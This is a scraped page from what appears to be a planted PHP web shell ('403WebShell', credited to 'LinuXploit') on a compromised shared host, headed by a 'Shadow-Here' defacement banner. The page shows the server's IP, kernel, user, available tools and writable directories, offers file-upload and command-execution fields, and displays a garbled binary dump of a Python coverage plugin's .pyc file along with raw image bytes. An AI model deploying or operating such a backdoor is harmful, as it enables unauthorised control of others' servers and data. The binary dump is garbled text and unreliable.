....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 198.54.126.4  /  Your IP : 216.73.216.178
Web Server : Apache
System : Linux host55.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : aeaw ( 7508)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/hc_python/lib64/python3.12/site-packages/nose/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/hc_python/lib64/python3.12/site-packages/nose/plugins/__pycache__/cover.cpython-312.pyc
�

���g�-��~�dZddlZddlZddlZddlZddlmZddlmZm	Z	eje�ZGd�de�Z
y)a�If you have Ned Batchelder's coverage_ module installed, you may activate a
coverage report with the ``--with-coverage`` switch or NOSE_WITH_COVERAGE
environment variable. The coverage report will cover any python source module
imported after the start of the test run, excluding modules that match
testMatch. If you want to include those modules too, use the ``--cover-tests``
switch, or set the NOSE_COVER_TESTS environment variable to a true value. To
restrict the coverage report to modules from a particular package or packages,
use the ``--cover-package`` switch or the NOSE_COVER_PACKAGE environment
variable.

.. _coverage: http://www.nedbatchelder.com/code/modules/coverage.html
�N)�Plugin)�src�tolistc�h��eZdZdZdZdZdZdZdZdZ	iZ
�fd�Z�fd�Zd�Z
d�Zd	�Zd
�Zdd�Z�xZS)
�CoveragezL
    Activate a coverage report using Ned Batchelder's coverage module.
    FN��c���tt|�||�|jdd|j	d�ddd��|jdd	|j	d
�dd�
�|jdd	d|j	d�d��|jddd|j	d�d��|jdd	d|j	d�d��|jdd	|j	d�dd�
�|jd d|j	d!d"�d#d$d%�&�|jd'd	|j	d(�d)d*�
�|jd+d	|j	d,�d-d.�
�|jd/d|j	d0d1�d2d3d4�&�y5)6z.
        Add options to command line.
        z--cover-package�append�NOSE_COVER_PACKAGE�PACKAGE�cover_packageszBRestrict coverage output to selected packages [NOSE_COVER_PACKAGE])�action�default�metavar�dest�helpz
--cover-erase�
store_true�NOSE_COVER_ERASE�cover_erasez9Erase previously collected coverage statistics before run)rrrrz
--cover-tests�cover_tests�NOSE_COVER_TESTSz:Include test modules in coverage report [NOSE_COVER_TESTS])rrrrz--cover-min-percentage�store�cover_min_percentage�NOSE_COVER_MIN_PERCENTAGEzLMinimum percentage of coverage for tests to pass [NOSE_COVER_MIN_PERCENTAGE]z--cover-inclusive�cover_inclusive�NOSE_COVER_INCLUSIVEz�Include all python files under working directory in coverage report.  Useful for discovering holes in test coverage if not all files are imported by the test suite. [NOSE_COVER_INCLUSIVE]z--cover-html�NOSE_COVER_HTML�
cover_htmlz!Produce HTML coverage informationz--cover-html-dir�NOSE_COVER_HTML_DIR�cover�cover_html_dir�DIRz(Produce HTML coverage information in dir)rrrrrz--cover-branches�NOSE_COVER_BRANCHES�cover_branchesz@Include branch coverage in coverage report [NOSE_COVER_BRANCHES]z--cover-xml�NOSE_COVER_XML�	cover_xmlz Produce XML coverage informationz--cover-xml-file�NOSE_COVER_XML_FILEzcoverage.xml�cover_xml_file�FILEz(Produce XML coverage information in fileN)�superr�options�
add_option�get)�self�parser�env�	__class__s   ��A/opt/hc_python/lib/python3.12/site-packages/nose/plugins/cover.pyr+zCoverage.options#s����	�h��%�f�c�2����+�H�"%�'�'�*>�"?�"+�/� 1�		�	2�	���/�,�"%�'�'�*<�"=�,� 2�	�	3�
	���/�,�,�"%�'�'�*<�"=� /�	�	0�
	���2�7�5�"%�'�'�*E�"F� @�	�	A�
	���-�l�0�"%�'�'�*@�"A� 3�	�	4�	���.��"%�'�'�*;�"<�+�B�	�	D�	���,�W�"%�'�'�*?��"I�/�"'�I�		�	K�
	���,�\�"%�'�'�*?�"@�/� 2�	�	3�
	���-��"%�'�'�*:�";�*�A�	�	C�	���,�W�"%�'�'�*?��"P�/�"(�I�		�	K�c���	|jjd�tt|�||�|jr	ddl}t|d�std��	||_|j|_|j|_g|_|j$rst'|j$t(t*f�r
|j$}n
|j$g}|D�cgc]
}t-|���c}D]}|j"j/|��|j0|_|j"r tj5d|j"�d|_|j8r1|j:|_tj=d	|j6�|j>|_ d|_!|jDr)tG|jDjId
��|_%|jLr1|jN|_!tj=d|jB�|j�rsd|jd<jd|j@|jP|j"�
�|_)d|jR_*|jP|jR_+|jRjYd�tj=d�t)tZj\j_��dd|_0|jrItj=d�|jRjc�|jRje�|jRjVs5|jRjg�|jRji�yyy#t$rY���wxYw#t$rtjd�d|_YywxYwcc}w)z#
        Configure plugin.
        �activerN�coveragez Unable to import coverage modulez8Coverage not available: unable to import coverage moduleFz.Coverage report will include only packages: %sz#Will put HTML coverage report in %s�%z"Will put XML coverage report in %sT)�	auto_data�branch�data_suffix�sourcez)#pragma[: ]+[nN][oO] [cC][oO][vV][eE][rR]zCoverage beginz1Clearing previously collected coverage statistics)5�status�pop�KeyErrorr*r�	configure�enabledr6�hasattr�ImportError�log�error�confr�
coverEraser�
coverTests�
coverPackagesr
�
isinstance�list�tupler�extendr�coverInclusive�info�coverHtmlDirrr!�debugr$�
coverBranches�coverXmlFiler�int�rstrip�coverMinPercentager&r(�worker�
coverInstance�
_warn_no_data�	is_worker�exclude�sys�modules�keys�skipModules�combine�erase�load�start)r.r+rEr6r
�x�pkgsr1s       �r2r?zCoverage.configure]s���	��K�K�O�O�H�%�	�h��'���6��<�<�
���x��4�%�&H�I�I�5���	�!�-�-���!�-�-�������!�!��'�0�0�4��-�@�!(�!7�!7��")�"8�"8�!9��,:�;�N�q����N�;���"�"�)�)�$�/�<�%�5�5�������H�H�E��'�'�
)� ������ '� 6� 6�D���I�I�;�T�=N�=N�O�$�3�3��� ����'�'�&)�'�*F�*F�*M�*M�c�*R�&S�D�#���� '� 6� 6�D���I�I�:�D�<M�<M�N��<�<�$(�D�K�K��!�!)�!2�!2�U��)�)�t�{�{��)�)�"3�"+�D��05�D���,�+/�;�;�D���(����&�&�'R�S��I�I�&�'�#�C�K�K�$4�$4�$6�7��:�D������	�	�M�N��"�"�*�*�,��"�"�(�(�*��%�%�/�/��"�"�'�'�)��"�"�(�(�*�0�!��O�	��	���
��	�	�=�>�$����	
��<s(�N�N&�O�	N#�"N#�&%O�
Oc��|jjr5|jj�|jj�yy)z7
        Begin recording coverage information.
        N)rWrYrarb�r.�args�kwargss   r2�
beforeTestzCoverage.beforeTest�s<��
���'�'����#�#�%����$�$�&�(r3c��|jjr5|jj�|jj�yy)z6
        Stop recording coverage information.
        N)rWrY�stop�saverfs   r2�	afterTestzCoverage.afterTest�s<��
���'�'����#�#�%����#�#�%�(r3c�(�tjd�|jj�|jj	�|jj�t
tjj��D��cgc]\}}|j||�r|��}}}tjd|�|jj||��ddl}|jr<tjd�	|jj||j�|j&r<tjd�	|jj)||j&�|j*r�t-j.�}|jj||��d
}d}	t1j2||j5��}
|
�$t1j2|	|j5��}
|
rdt7|
j9�d�}||j*kr8tj;d|j*z�tj<d
�yytj;d�yycc}}w#|jj $r,}tj#dt%|�z�Yd}~���d}~wwxYw#|jj $r,}tj#d	t%|�z�Yd}~���d}~wwxYw)z.
        Output code coverage report.
        zCoverage reportz&Coverage report will cover modules: %s)�filerNzGenerating HTML coverage reportz"Failed to generate HTML report: %szGenerating XML coverage reportz!Failed to generate XML report: %sz@-------\s\w+\s+\d+\s+\d+(?:\s+\d+\s+\d+)?\s+(\d+)%\s+\d*\s{0,1}$zM-------\s[\w./]+\s+\d+\s+\d+(?:\s+\d+\s+\d+)?\s+(\d+)%(?:\s+[-\d, ]+)\s{0,1}$z3TOTAL Coverage did not reach minimum required: %d%%�zGNo total percentage was found in coverage output, something went wrong.)rCrPrWrkr_rlrJr[r\�items�wantModuleCoverage�reportr6rO�html_report�misc�CoverageException�warning�strrR�
xml_reportrU�io�StringIO�re�search�getvaluerS�groupsrD�exit)r.�stream�name�moduler\r6�e�f�multiPackageRe�singlePackageRe�m�
percentages            r2rszCoverage.report�s}��	�	�	�#�$������!����"�"�$������!�(,�S�[�[�->�->�-@�(A�>�(A���f��.�.�t�V�<��(A�	�>�	�	�	�:�G�D����!�!�'��!�7������I�I�7�8�
K��"�"�.�.�w��8I�8I�J�����I�I�6�7�
J��"�"�-�-�g�t�7H�7H�I�
�"�"����
�A����%�%�g�A�%�6�9�N� C�O��	�	�.�!�*�*�,�7�A��y��I�I�o�q�z�z�|�<��� �����A��/�
��� 7� 7�7��I�I�/�15�1H�1H�I�J��H�H�Q�K�8�
�	�	�2�3�)#��->���=�=�2�2�
K����@�3�q�6�I�J�J��
K���=�=�2�2�
J����?�#�a�&�H�I�I��
J�s6�I>�&J�&K�K	�!K�K	�L�%!L�Lc���t|d�stjd|�yt|j�}|r|jd�stjd|�y|jr�|jD]x}tjdtj|�z|�s�0|js&|jjj|�r�btjd|�y||jvrtjd	|�y|jjj|�r#|jstjd
|�y|jS)N�__file__zno coverage of %s: no __file__F�.pyz$no coverage of %s: not a python filez^%s\bzcoverage for %sTz0no coverage for %s: loaded before coverage startzno coverage for %s: is a test)rArCrPrr��endswithrHr|�findall�escaperGrE�	testMatchr}r^)r.r�r��module_file�packages     r2rrzCoverage.wantModuleCoverage�s���v�z�*��I�I�6��=���&�/�/�*���+�"6�"6�u�"=��I�I�<�d�C������-�-���J�J�x�"�)�)�G�*<�<�d�C���� $�	�	� 3� 3� :� :�4� @��I�I�/��6��.��4�#�#�#��I�I�H��
���9�9���%�%�d�+�D�O�O��I�I�5�t�<���%�%�%�%r3c��|jrE|jd�r4|r1|jr%|jD]}|j|�s�yyyy)zdIf inclusive coverage enabled, return true for all source files
        in wanted packages.
        r�TN)rMr�rH�
startswith)r.ror��wants    r2�wantFilezCoverage.wantFilesR������}�}�U�#��t�1�1� $� 2� 2��"�-�-�d�3�#'�!3�
� �r3)N)�__name__�
__module__�__qualname__�__doc__rGrHrWrFrU�scorer<r+r?rirmrsrrr��
__classcell__)r1s@r2rrsU�����J��M��M��J����E�
�F�8K�t?+�D'�&�33�l&�6r3r)r��loggingr|r[rz�nose.plugins.baser�	nose.utilrr�	getLoggerr�rCr�r3r2�<module>r�s>����	�
�	�$�!��g����!��x�v�xr3

Youez - 2016 - github.com/yon3zu
LinuXploit